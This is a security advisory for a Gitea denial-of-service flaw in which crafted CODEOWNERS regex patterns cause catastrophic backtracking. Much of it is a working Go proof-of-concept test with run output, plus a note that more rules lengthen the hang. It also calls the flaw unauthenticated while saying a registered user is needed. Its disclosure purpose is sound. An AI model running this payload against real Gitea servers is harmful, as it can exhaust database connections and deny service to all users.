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GHSA-v96j-25gv-g2w9 CVE-2026-58421 GO-2026-6077

Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service

High Go
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.40%
Chance of exploitation in the next 30 days. Higher than 33.88% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-284 Improper Access Control
Fix
1.26.4
Upgrade code.gitea.io/gitea to this version or later

Description

This issue has been found by a security agent and review by myself.

Gitea's CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path.

Who can trigger it

Any registered user on the instance. The attacker needs only:

  1. A repository they own (created via normal signup)
  2. A CODEOWNERS file on the default branch containing malicious patterns
  3. A pull request branch containing a file with a crafted name

No elevated permissions, no admin access, no existing repositories required.

How it is triggered

The attacker pushes a CODEOWNERS file containing repeated instances of a catastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request from a branch that contains a file named with a long string of repeated characters followed by a non-matching character (e.g. aaaaaaaaaaaaaaaaaaaaaaaaaaX). When Gitea processes the pull request, it evaluates each CODEOWNERS rule against each changed file path — with no timeout — causing the server to hang for the duration of the backtracking.

Impact

Every pull request creation runs this evaluation inside a database transaction. A hung evaluation holds that transaction open, tying up a database connection for the entire duration. With 11 rules in the CODEOWNERS file, a single pull request creation request takes over 30 seconds. An attacker opening multiple pull requests in parallel can exhaust the database connection pool, making the Gitea instance unresponsive to all users.

Root cause

The vulnerable regex is here:

https://github.com/go-gitea/gitea/blob/79810ba2e37a5b5b7840a7737a877fc7f1ea7c38/models/issues/pull.go#L886

PoC

Below is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times.

This is tested at commit 689ace1ce28fd74244b8aa335d9928cdbf6b22f9.

tests/integration/pull_redos_test.go

package integration

// TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability
// triggered via the full pull.NewPullRequest call chain.
//
// POST /api/v1/repos/{owner}/{repo}/pulls
//   -> routers/api/v1/repo/pull.go:CreatePullRequest
//   -> pull.NewPullRequest (services/pull/pull.go)
//   -> db.WithTx                              <- holds DB connection for duration of hang
//     -> issues_model.NewPullRequest          <- inserts PR into DB
//     -> PullRequestCodeOwnersReview          <- evaluates CODEOWNERS
//       -> rule.Rule.MatchString(changedFile) <- hangs here (catastrophic backtracking)
//
// The attacker controls both sides of the match:
//   - CODEOWNERS pattern: "(a+)+" compiled as ^(a+)+$ with regexp2.None (no timeout)
//   - PR changed file:    "aaa...X" forces O(2^N) backtracking states

import (
	"fmt"
	"net/http"
	"net/url"
	"strings"
	"testing"
	"time"

	auth_model "gitea.dev/models/auth"
	user_model "gitea.dev/models/user"
	"gitea.dev/models/unittest"
	"gitea.dev/modules/git"
	api "gitea.dev/modules/structs"
	repo_service "gitea.dev/services/repository"
	files_service "gitea.dev/services/repository/files"

	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
)

func TestCodeOwnersReDoS_NewPullRequest(t *testing.T) {
	onGiteaRun(t, func(t *testing.T, u *url.URL) {
		user2 := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})

		repo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{
			Name:             "redos-codeowners",
			Readme:           "Default",
			AutoInit:         true,
			ObjectFormatName: git.Sha1ObjectFormat.Name(),
			DefaultBranch:    "main",
		}, true)
		require.NoError(t, err)

		// Push malicious CODEOWNERS to the default branch.
		// 11 identical rules × 1 changed file = 11 sequential MatchString calls.
		// Each call takes ~2.8s (25-char late-failing input), totalling ~30s.
		// ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout).
		var codeowners strings.Builder
		for range 11 {
			codeowners.WriteString("(a+)+ @user2\n")
		}
		_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
			OldBranch: repo.DefaultBranch,
			Files: []*files_service.ChangeRepoFile{
				{
					Operation:     "create",
					TreePath:      "CODEOWNERS",
					ContentReader: strings.NewReader(codeowners.String()),
				},
			},
		})
		require.NoError(t, err)

		// Create a PR branch containing a file whose path is a late-failing input
		// for ^(a+)+$: 'a's that the engine greedily matches, then 'X' forces
		// backtracking through O(2^N) states (~2.8s per rule at 25 chars).
		maliciousFilename := strings.Repeat("a", 25) + "X"
		_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
			NewBranch: "attack",
			Files: []*files_service.ChangeRepoFile{
				{
					Operation:     "create",
					TreePath:      maliciousFilename,
					ContentReader: strings.NewReader("x"),
				},
			},
		})
		require.NoError(t, err)

		// Obtain an API token for user2 and submit the PR creation request.
		// This calls pull.NewPullRequest which runs issues_model.NewPullRequest and
		// PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB
		// connection for the duration of the backtracking hang.
		session := loginUser(t, user2.Name)
		token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository)

		start := time.Now()
		req := NewRequestWithJSON(t, http.MethodPost,
			fmt.Sprintf("/api/v1/repos/%s/%s/pulls", user2.Name, repo.Name),
			&api.CreatePullRequestOption{
				Title: "ReDoS PoC",
				Head:  "attack",
				Base:  repo.DefaultBranch,
			},
		).AddTokenAuth(token)
		MakeRequest(t, req, http.StatusCreated)
		elapsed := time.Since(start)

		t.Logf("pull.NewPullRequest completed in %s", elapsed)
		assert.Greater(t, elapsed, 25*time.Second,
			"expected ~30s ReDoS hang (11 rules × ~2.8s each); pattern may have been sanitised")
	})
}

Now run:

# 1. Build the binary (needed for git hooks during repo creation)
make build

# 2. Run the test
go test -v -run '^TestCodeOwnersReDoS_NewPullRequest$' -count=1 -timeout 120s ./tests/integration/

When the unit test starts, you should see that it takes 30 seconds with the following output:

=== TestCodeOwnersReDoS_NewPullRequest (tests/integration/pull_redos_test.go:42)
    testlogger.go:62: 2026/06/02 14:34:43 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /tmp/gitea-3/tests/gitea-lfs-meta
    testlogger.go:62: 2026/06/02 14:34:43 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 4.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)
    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 80.7ms @ private/hook_post_receive.go:33(private.HookPostReceive)
    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 3.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)
    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 60.8ms @ private/hook_post_receive.go:33(private.HookPostReceive)
    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 3.1ms @ auth/auth.go:284(auth.SignInPost)
    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 6.1ms @ setting/applications.go:36(setting.ApplicationsPost)
    testlogger.go:62: 2026/06/02 14:34:47 HTTPRequest [W] router: slow      POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, elapsed 3182.4ms @ repo/pull.go:371(repo.CreatePullRequest)
    testlogger.go:62: 2026/06/02 14:35:16 HTTPRequest [I] router: completed POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, 201 Created in 31631.6ms @ repo/pull.go:371(repo.CreatePullRequest)
    pull_redos_test.go:109: pull.NewPullRequest completed in 31.63184107s
+++ TestCodeOwnersReDoS_NewPullRequest is a slow test (run: 33.342443947s, flush: 371.714µs)
--- PASS: TestCodeOwnersReDoS_NewPullRequest (33.34s)
PASS

You can modify the "11" number in the CODEOWNERS file to manage execution speed directly:

		for range 11 {
			codeowners.WriteString("(a+)+ @user2\n")
		}

A higher number of lines will increase the execution time.

Affected versions

Go

PackageVulnerableFixed in
code.gitea.io/gitea
< 1.26.4
1.26.4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.gitea.io/gitea Go → 1.26.4

go
go get code.gitea.io/gitea@v1.26.4 && go mod tidy

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-284: Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rcr6-4jqh-j84m
Gitea: Remote Code Execution via diffpatch Git Hook Installation
Critical Known exploited Also affects code.gitea.io/gitea
GHSA-fq2p-5p22-8g6j
Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints
Medium Also affects code.gitea.io/gitea
GHSA-2wm4-vwp6-v7xc
Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
High Also affects code.gitea.io/gitea
GHSA-3r5c-2xxx-h872
Gitea: Webhook Authorization Header Returned in Plaintext via API
Low Also affects code.gitea.io/gitea
GHSA-frpw-3h2q-4jj6
Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
Medium Also affects code.gitea.io/gitea
GHSA-q423-49rw-g9mh
Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private
Medium Also affects code.gitea.io/gitea
GHSA-2fcr-jfvc-vgg2
Gitea: Two SSRF findings
High Also affects code.gitea.io/gitea
GHSA-fw57-jgch-pgf3
Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests
High Also affects code.gitea.io/gitea
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